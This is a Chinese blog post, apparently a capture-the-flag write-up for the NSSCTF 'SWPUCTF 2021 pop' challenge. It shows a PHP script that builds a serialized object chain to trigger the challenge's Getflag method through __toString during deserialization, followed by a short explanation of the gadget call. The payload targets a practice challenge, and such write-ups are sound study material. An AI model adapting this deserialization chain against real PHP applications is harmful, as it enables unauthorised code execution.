[SWPUCTF 2021 新生赛]pop

丸子丸子鱼

已于 2023-05-01 10:36:32 修改

阅读量131

点赞数

分类专栏： nssctf 文章标签：网络安全

于 2023-04-30 21:34:35 首次发布

本文链接：https://blog.csdn.net/kuzemax/article/details/130451733

版权

nssctf 专栏收录该内容

14 篇文章 0 订阅

订阅专栏

该文章展示了一个PHP代码示例，涉及类的继承和属性赋值。通过创建w44m、w22m和w33m三个类，以及使用__toString魔术方法，当尝试将对象转换为字符串时，会触发对成员变量的函数调用，例如Getflag。这展示了PHP中面向对象编程的特性以及潜在的安全考虑。

摘要由CSDN通过智能技术生成

<?php
class w44m{
    private $admin='w44m';
    protected $passwd='08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}
$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag'; 
    
echo urlencode(serialize($a));
?>

class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}();//这一步我理解为，$w22m='Getflag'。{$this->w22m}()<等价于>Getflag()。把$this->w00m的值赋给Getflag()调用这个函数 return 0; }